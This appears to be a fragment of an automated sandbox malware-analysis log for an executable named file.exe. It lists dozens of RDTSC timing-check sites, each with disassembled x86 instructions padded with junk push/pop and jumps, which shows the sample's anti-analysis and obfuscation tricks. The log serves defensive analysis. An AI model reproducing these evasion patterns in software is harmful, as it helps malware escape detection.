Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F0AB0 second address: 7F0AD4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jbe 00007FE8B993118Ah 0x0000000c jmp 00007FE8B9931191h 0x00000011 pushad 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F0AD4 second address: 7F0ADA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F0C2B second address: 7F0C32 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F0C32 second address: 7F0C3A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F0C3A second address: 7F0C3E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F0C3E second address: 7F0C42 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F0D75 second address: 7F0D7B instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F0D7B second address: 7F0D8A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jno 00007FE8B8D1B406h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F0EE8 second address: 7F0F01 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FE8B9931195h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F0F01 second address: 7F0F1C instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jp 00007FE8B8D1B406h 0x00000009 pop ecx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f jbe 00007FE8B8D1B406h 0x00000015 jng 00007FE8B8D1B406h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F0F1C second address: 7F0F20 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F0F20 second address: 7F0F26 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F0F26 second address: 7F0F44 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FE8B9931193h 0x0000000b push ebx 0x0000000c pushad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F1074 second address: 7F107E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007FE8B8D1B406h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F107E second address: 7F1082 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F4934 second address: 7F493A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F493A second address: 7F4940 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F4940 second address: 7F4972 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 js 00007FE8B8D1B421h 0x0000000c jmp 00007FE8B8D1B40Ah 0x00000011 jmp 00007FE8B8D1B411h 0x00000016 pushad 0x00000017 jbe 00007FE8B8D1B406h 0x0000001d push esi 0x0000001e pop esi 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F4972 second address: 7F497D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F497D second address: 7F4996 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FE8B8D1B415h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F4996 second address: 7F499A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F499A second address: 7F49B4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007FE8B8D1B406h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push edi 0x0000000d pushad 0x0000000e popad 0x0000000f jbe 00007FE8B8D1B406h 0x00000015 pop edi 0x00000016 push eax 0x00000017 push edx 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F49B4 second address: 7F49B8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F49B8 second address: 7F49BC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7CAD4B second address: 7A65A8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE8B9931190h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b push ebx 0x0000000c js 00007FE8B9931186h 0x00000012 pop ebx 0x00000013 jmp 00007FE8B9931193h 0x00000018 popad 0x00000019 nop 0x0000001a movsx edx, di 0x0000001d lea eax, dword ptr [ebp+1248FA48h] 0x00000023 sbb cx, 978Fh 0x00000028 movzx ecx, cx 0x0000002b push eax 0x0000002c jmp 00007FE8B9931195h 0x00000031 mov dword ptr [esp], eax 0x00000034 mov edx, edi 0x00000036 call dword ptr [ebp+122D1C4Fh] 0x0000003c push eax 0x0000003d push edx 0x0000003e push eax 0x0000003f push edx 0x00000040 pushad 0x00000041 popad 0x00000042 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7CB23A second address: 7CB242 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7CB242 second address: 7CB246 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7CB381 second address: 7CB387 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7CB387 second address: 60E904 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jnl 00007FE8B9931186h 0x00000009 jno 00007FE8B9931186h 0x0000000f popad 0x00000010 pop edx 0x00000011 pop eax 0x00000012 nop 0x00000013 xor ecx, dword ptr [ebp+122D2B9Fh] 0x00000019 push dword ptr [ebp+122D1599h] 0x0000001f mov edx, 5A58EFA3h 0x00000024 call dword ptr [ebp+122D2E92h] 0x0000002a pushad 0x0000002b jng 00007FE8B993118Ch 0x00000031 jnl 00007FE8B9931187h 0x00000037 xor eax, eax 0x00000039 mov dword ptr [ebp+122D24CDh], eax 0x0000003f mov edx, dword ptr [esp+28h] 0x00000043 mov dword ptr [ebp+122D1C7Fh], eax 0x00000049 mov dword ptr [ebp+122D2893h], eax 0x0000004f jl 00007FE8B993118Ch 0x00000055 sub dword ptr [ebp+122D24CDh], ebx 0x0000005b mov esi, 0000003Ch 0x00000060 clc 0x00000061 add esi, dword ptr [esp+24h] 0x00000065 pushad 0x00000066 sbb edi, 5DCEAD57h 0x0000006c popad 0x0000006d lodsw 0x0000006f jmp 00007FE8B9931196h 0x00000074 add eax, dword ptr [esp+24h] 0x00000078 cmc 0x00000079 mov ebx, dword ptr [esp+24h] 0x0000007d clc 0x0000007e nop 0x0000007f push ecx 0x00000080 jl 00007FE8B9931188h 0x00000086 push edi 0x00000087 pop edi 0x00000088 pop ecx 0x00000089 push eax 0x0000008a pushad 0x0000008b push eax 0x0000008c push edx 0x0000008d pushad 0x0000008e popad 0x0000008f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7CB406 second address: 7CB42E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007FE8B8D1B406h 0x0000000a popad 0x0000000b popad 0x0000000c push eax 0x0000000d jmp 00007FE8B8D1B413h 0x00000012 mov eax, dword ptr [esp+04h] 0x00000016 pushad 0x00000017 pushad 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7CB42E second address: 7CB434 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7CB434 second address: 7CB4EA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jnl 00007FE8B8D1B40Ch 0x0000000b popad 0x0000000c mov eax, dword ptr [eax] 0x0000000e jmp 00007FE8B8D1B411h 0x00000013 mov dword ptr [esp+04h], eax 0x00000017 jo 00007FE8B8D1B415h 0x0000001d pushad 0x0000001e jmp 00007FE8B8D1B40Bh 0x00000023 pushad 0x00000024 popad 0x00000025 popad 0x00000026 pop eax 0x00000027 push 00000000h 0x00000029 push ebx 0x0000002a call 00007FE8B8D1B408h 0x0000002f pop ebx 0x00000030 mov dword ptr [esp+04h], ebx 0x00000034 add dword ptr [esp+04h], 00000018h 0x0000003c inc ebx 0x0000003d push ebx 0x0000003e ret 0x0000003f pop ebx 0x00000040 ret 0x00000041 sub edi, dword ptr [ebp+122D1AB3h] 0x00000047 call 00007FE8B8D1B409h 0x0000004c pushad 0x0000004d jmp 00007FE8B8D1B40Bh 0x00000052 pushad 0x00000053 push ebx 0x00000054 pop ebx 0x00000055 jo 00007FE8B8D1B406h 0x0000005b popad 0x0000005c popad 0x0000005d push eax 0x0000005e jp 00007FE8B8D1B414h 0x00000064 mov eax, dword ptr [esp+04h] 0x00000068 jmp 00007FE8B8D1B410h 0x0000006d mov eax, dword ptr [eax] 0x0000006f push eax 0x00000070 push edx 0x00000071 push eax 0x00000072 push edx 0x00000073 pushad 0x00000074 popad 0x00000075 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7CB4EA second address: 7CB4FD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE8B993118Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7CB4FD second address: 7CB512 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push esi 0x00000004 pop esi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp+04h], eax 0x0000000c pushad 0x0000000d jng 00007FE8B8D1B40Ch 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7CB94D second address: 7CB9B6 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FE8B993118Eh 0x0000000b popad 0x0000000c nop 0x0000000d push 00000000h 0x0000000f push ebx 0x00000010 call 00007FE8B9931188h 0x00000015 pop ebx 0x00000016 mov dword ptr [esp+04h], ebx 0x0000001a add dword ptr [esp+04h], 0000001Bh 0x00000022 inc ebx 0x00000023 push ebx 0x00000024 ret 0x00000025 pop ebx 0x00000026 ret 0x00000027 add edi, dword ptr [ebp+122D28EFh] 0x0000002d jmp 00007FE8B993118Fh 0x00000032 push 00000004h 0x00000034 call 00007FE8B993118Dh 0x00000039 cld 0x0000003a pop edx 0x0000003b push eax 0x0000003c push edi 0x0000003d jbe 00007FE8B993118Ch 0x00000043 push eax 0x00000044 push edx 0x00000045 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7CBDA4 second address: 7CBDAE instructions: 0x00000000 rdtsc 0x00000002 jc 00007FE8B8D1B406h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7CBDAE second address: 7CBDE8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push edi 0x00000006 pop edi 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp], eax 0x0000000d jo 00007FE8B993118Bh 0x00000013 sbb di, 5A44h 0x00000018 push 0000001Eh 0x0000001a jmp 00007FE8B9931190h 0x0000001f mov edi, 0AF9BBC4h 0x00000024 push eax 0x00000025 jns 00007FE8B99311A3h 0x0000002b push eax 0x0000002c push edx 0x0000002d push ebx 0x0000002e pop ebx 0x0000002f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7CBF3F second address: 7CBF48 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7CBF48 second address: 7CBF4C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7CBF4C second address: 7CBF61 instructions: 0x00000000 rdtsc 0x00000002 jng 00007FE8B8D1B406h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b push eax 0x0000000c push ecx 0x0000000d push eax 0x0000000e push edx 0x0000000f jg 00007FE8B8D1B406h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A7104 second address: 7A7124 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FE8B9931195h 0x00000009 jno 00007FE8B9931186h 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A7124 second address: 7A712B instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 77C94B second address: 77C992 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FE8B9931198h 0x00000009 pushad 0x0000000a jne 00007FE8B9931186h 0x00000010 jmp 00007FE8B9931197h 0x00000015 push ecx 0x00000016 pop ecx 0x00000017 popad 0x00000018 popad 0x00000019 push eax 0x0000001a jp 00007FE8B993118Eh 0x00000020 push eax 0x00000021 push edx 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7CB4C4 second address: 7CB4C8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7CB4C8 second address: 7CB4EA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov eax, dword ptr [esp+04h] 0x0000000a jmp 00007FE8B9931190h 0x0000000f mov eax, dword ptr [eax] 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F4D9D second address: 7F4DA3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F4DA3 second address: 7F4DA7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F4DA7 second address: 7F4DC5 instructions: 0x00000000 rdtsc 0x00000002 ja 00007FE8B8D1B406h 0x00000008 jmp 00007FE8B8D1B40Ah 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 jp 00007FE8B8D1B406h 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F4DC5 second address: 7F4DC9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F4DC9 second address: 7F4DCF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F4DCF second address: 7F4DD5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F4DD5 second address: 7F4DE2 instructions: 0x00000000 rdtsc 0x00000002 jng 00007FE8B8D1B406h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F4F5B second address: 7F4F5F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F54F9 second address: 7F5505 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pushad 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F5505 second address: 7F550B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F550B second address: 7F552C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007FE8B8D1B406h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FE8B8D1B40Eh 0x00000012 je 00007FE8B8D1B406h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7886C0 second address: 7886E3 instructions: 0x00000000 rdtsc 0x00000002 jc 00007FE8B9931186h 0x00000008 jns 00007FE8B9931186h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 jmp 00007FE8B9931193h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7FA3BF second address: 7FA3CB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007FE8B8D1B406h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7FA3CB second address: 7FA3DE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007FE8B993118Eh 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7FA3DE second address: 7FA403 instructions: 0x00000000 rdtsc 0x00000002 jno 00007FE8B8D1B412h 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007FE8B8D1B40Dh 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7FA72D second address: 7FA733 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7FA733 second address: 7FA737 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F9DBE second address: 7F9DCC instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jl 00007FE8B9931186h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F9DCC second address: 7F9DD0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7886B0 second address: 7886C0 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a jns 00007FE8B9931186h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7FACB0 second address: 7FACBA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push edi 0x00000006 push esi 0x00000007 pop esi 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 801C37 second address: 801C42 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 801C42 second address: 801C46 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 800B05 second address: 800B2C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FE8B9931190h 0x00000009 pop eax 0x0000000a jng 00007FE8B9931192h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 800B2C second address: 800B38 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jg 00007FE8B8D1B406h 0x0000000a push edi 0x0000000b pop edi 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 800E06 second address: 800E29 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 pushad 0x00000008 jmp 00007FE8B993118Bh 0x0000000d jnl 00007FE8B9931186h 0x00000013 push edx 0x00000014 pop edx 0x00000015 popad 0x00000016 push edi 0x00000017 pushad 0x00000018 popad 0x00000019 pop edi 0x0000001a push edx 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 80127C second address: 80129C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007FE8B8D1B419h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 80129C second address: 8012A6 instructions: 0x00000000 rdtsc 0x00000002 jng 00007FE8B9931192h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 801570 second address: 801574 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 808B27 second address: 808B32 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007FE8B9931186h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 808B32 second address: 808B4C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE8B8D1B40Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d push ecx 0x0000000e pop ecx 0x0000000f push ecx 0x00000010 pop ecx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 808B4C second address: 808B52 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 808B52 second address: 808B57 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 80B2E7 second address: 80B2EB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 80B757 second address: 80B75B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 80B75B second address: 80B767 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a push esi 0x0000000b pop esi 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 80B767 second address: 80B770 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ecx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 80E030 second address: 80E047 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FE8B9931193h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 80E047 second address: 80E05E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE8B8D1B413h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 815FEF second address: 815FF3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 815FF3 second address: 81601B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push esi 0x00000007 jc 00007FE8B8D1B406h 0x0000000d pop esi 0x0000000e jmp 00007FE8B8D1B413h 0x00000013 popad 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
